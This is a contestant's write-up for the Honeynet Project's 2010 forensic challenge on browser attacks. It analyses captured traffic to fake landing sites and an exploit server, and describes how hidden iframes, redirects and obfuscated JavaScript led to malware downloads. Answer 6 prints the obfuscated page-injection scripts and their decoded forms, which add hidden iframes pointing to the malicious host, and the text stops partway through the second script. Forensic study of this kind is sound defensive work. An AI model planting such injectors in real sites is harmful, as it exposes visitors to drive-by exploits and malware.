Know Your Enemy
Total Page:16
File Type:pdf, Size:1020Kb
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2010
Challenge 2: Browsers under attack (intermediate)
Submission Template
Submit your solution at http://www.honeynet.org/challenge2010/ by 17:00 EST, Monday, March 1st 2010. Results will be released on Monday, March 15th 2010.
Name (required): Rani Hod Email (required): [email protected] Country (optional): Israel Profession (optional): X Student _ Security Professional _ Other
Question 1. List the protocols found in the capture. What protocol do you think the attack is/are based Possible Points: 2pts on? Tools Used: Wireshark Awarded Points: Answer 1. ARP, DHCP, DNS, HTTP, NETBIOS.
The attacks are HTTP-based since everything else is in the background: DNS was used to resolve webserver names; ARP and DHCP were used once per client computer; Netbios announcements were issued by client computers and got no response.1
1 The attacker can potentially derive information from these, but is more likely using the user-agent sent with HTTP requests. The work is licensed under a Creative Commons License. Copyright © The Honeynet Project, 2010 Page 1 of 18 T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2010
Question 2. List IPs, hosts names / domain names. What can you tell about it - extrapolate? Possible Points: 4pts Tools Used: Wireshark Answer 2.
The good,
IP(s) Name Role 10.0.2.15 8fd12edd2dc1462 Client #1 10.0.3.15 8fd12edd2dc1462 Client #2 10.0.4.15 8fd12edd2dc1462 Client #3 10.0.5.15 8fd12edd2dc1462 Client #4 10.0.2.2 (unknown) DHCP server 10.0.3.2 10.0.4.2 10.0.5.2 192.168.1.1 (unknown) DNS server
The bad,
IP Name Role 192.168.56.50 rapidshare.com.eyu32.ru Landing website #1 192.168.56.51 shop.honeynet.sg Landing website #2 192.168.56.52 sploitme.com.cn Malware distribution website 64.236.114.1 www.honeynet.org Malware C&C server
And Google.
IP(s) Name(s) Role 74.125.77.101 www.google-analytics.com 74.125.77.102 209.85.227.99 www.google.com 209.85.227.100 www.google.fr 209.85.227.106 clients1.google.fr
Comments: The clients are most likely VMs, as each has its own subnet, but they share a hostname, a DNS server (single MAC address, multiple IPs per subnet) and a DHCP server (on a different subnet). Landing and malware distribution sites reside in the same private subnet. Not a real-world scenario. Landing site #1 is probably a ripoff of the well-known rapidshare.com. Landing site #2 is an e-commerce site, either innocent (but exploited to serve malicious JS) or malevolent.
The work is licensed under a Creative Commons License. Copyright © The Honeynet Project, 2010 Page 2 of 18 T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2010
Question 3. List all the web pages. List those visited containing suspect and possibly malicious Possible Points: 6pts javascript and who's is connecting to it? Briefly describe the nature of the malicious web pages Tools Used: Wireshark, Google Answer 3.
Website Pages accessed Accessed by rapidshare.com.eyu32.ru /login.php Client #1; Client #2 (twice) shop.honeynet.sg /catalog/ Client #3 sploitme.com.cn /?click=3feb5a6b2f Client #1; Client #2 (twice) /?click=84c090bd86 Client #3 /fg/directshow.php Client #3 /fg/load.php?e=1 Client #2 (twice); Client #3 (twice) /fg/load.php?e=3 Client #3 /fg/show.php Client #4 /fg/show.php?s=3feb5a6b2f Client #1; Client #2 (twice) /fg/show.php?s=84c090bd86 Client #3 www.honeynet.org / Client #2; Client #3 (twice) www.google-analytics.com /__utm.gif?utmwv=4.6.5&utmn=1731245256&… Client #2; Client #3 (twice) www.google.com / Client #2 www.google.fr / Client #2 /csi?v=3&s=webhp&action=&… Client #2 clients1.google.fr /generate_204 Client #2 (Omitted: irrelevant requests to CSS and images on rapidshare.com.eyu32.ru and shop.honeynet.sg) rapidshare.com.eyu32.ru/login.php This is a rip-off of an equivalent page on rapidshare.com. It seems that the page was saved using a spider that messed up the relative urls to images defined in the CSS file, causing 404 errors. The page contains a bit of javascript, obfuscated using Dean Edwards's packer. It adds to the page an iframe pointing to sploitme.com.cn/?click=3feb5a6b2f. shop.honeynet.sg/catalog/ This page states that is was generated by a CMS called osCommerce Online Merchant, version 2.2 RC2a. It seems legiti- mate2, except for a very short javascript excerpt, obfuscated using an add-a-constant-to-each-chararcter "encryption". It adds to the page an iframe pointing to sploitme.com.cn/?click=84c090bd86. sploitme.com.cn/?click=X Redirects (using 302) to sploitme.com.cn/fg/show.php?s=X. sploitme.com.cn/fg/show.php (with or without ?s=X) Although the HTTP request succeeds (200), the text in this page says "404 Not Found", and it is most probably styled like the real 404 error page served by splotme.com.cn. Alas, this page may additionally contain an obfuscated JS code that tries to exploit vulnerabilities in the client's browser. sploitme.com.cn/fg/directshow.php Not HTML, but rather a malformed JPEG, used in a couple of the exploits. sploitme.com.cn/fg/load.php?e=X Not HTML, but rather a malware executable. All exploits strive to download this file to a temporary location and execute it.
2 Yes, I saw your "Hi there!" remark. The work is licensed under a Creative Commons License. Copyright © The Honeynet Project, 2010 Page 3 of 18 T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2010
Question 4. Can you sketch an overview of the general actions performed by the attackers? Possible Points: 2pts Tools Used: Wireshark Answer 4.
1. One or many landing sites are initialized with a short, typically obfuscated, javascript code that adds to the docu- ment a hidden iframe pointing to sploitme.com.cn/?click=X. These are either malicious web sites, maintained by the attacker, or innocent web sites, exploited by her (e.g., using SQL injection or XSS techniques). 2. A client surfs to a landing site and so his browser requests sploitme.com.cn/?click=X. This request is redirect- ed to sploitme.com.cn/fg/show.php?s=X, the entry point of the main exploit page. I guess the reason for this redirection is to have the ability to change the address of the main exploit page (for load balancing or as a result of updating the exploits suite used). 3. Examining the user-agent string, landing site and other parameters, show.php decides which exploits to embed (again, as obfuscated javascript) in the fake 404 page served. 4. The client's browser executes the javascript. Some of the exploits, such as the DirectShow exploit, require further re- quests. 5. If any of the exploits is successful, the client's computer downloads and executes a file served at sploitme.- com.cn/fg/load.php?e=X. In our case, the malware is always the same, so the purpose of the extra parameter is to let the attacker know which exploit succeeded. 6. The malware does bad stuff, e.g., turns the client's computer into a bot for sending spam. In our case, the malware accesses www.honeynet.org.
Question 5. What steps are taken to slow the analysis down? Possible Points: 2pts Tools Used: mostly Python Answer 5.
The javascript is obfuscated using a simple encoding (hex, utf8 or base64) and/or encryption, which are decoded and/or decrypted before execution. An obfuscation technique not used here is polymorphic javascript. The shellcode itself is handcrafted, but it is neither obfuscated nor contains anti-debugging tricks (thanks ). If show.php is accessed directly (as client #4 does), the fake 404 text may hide the fact that this URL is valid. As we can see in packet 366, show.php doesn't try to exploit the same client twice (perhaps by IP, perhaps by other means) so further accesses get a "clean" 404 fake page.3
3 It is still a fake as the response code stays 200. The work is licensed under a Creative Commons License. Copyright © The Honeynet Project, 2010 Page 4 of 18 T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2010
Question 6. Provide the javascripts from the pages identified in the previous question. Decode/de- Possible Points: 8pts obfuscate them too. Tools Used: Python, http://dean.edwards.name/unpacker/ Answer 6. rapidshare.com.eyu32.ru/login.php Original eval(function(p,a,c,k,e,r){e=function(c){return(c35? String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c] ||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.rep lace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('q.r(s("%h%0%6%d%e%7%1%8%9%d%3%4%a%5%2%2%i%j%b%b%9%i%c %k%0%2%7%1%l%3%k%7%l%3%m%b%t%3%c%0%3%u%4%v%6%1%f%w%e%x%f%y%6%a%z%0%g%2%5%4%n%8%5%1%0%A%5%2%4%n%8%9%2%o%c%1%4%a%B%0%9%0%f%0%c%0%2%o%j%8%5%0%g %g%1%m%a%p%h%b%0%6%d%e%7%1%p%C"));',39,39,'69|65|74|63|3D|68|66|6D|20|73|22|2F|6C|72|61|62|64|3C|70|3A| 6F|2E|6E|31|79|3E|document|write|unescape|3F|6B|33|35|36|32|77|67|76|0A'.split('|'),0,{})); Unpacked document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%70%6C%6F%69%74%6D%65%2E%63%6F%6D%2E %63%6E%2F%3F%63%6C%69%63%6B%3D%33%66%65%62%35%61%36%62%32%66%22%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D %22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A")); Decoded document.write() shop.honeynet.sg/catalog Original var s="=jgsbnf!tsd>#iuuq;00tqmpjunf/dpn/do0@dmjdl>95d1:1ce97#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;! ijeefo#?=0jgsbnf?";m="";for(i=0;i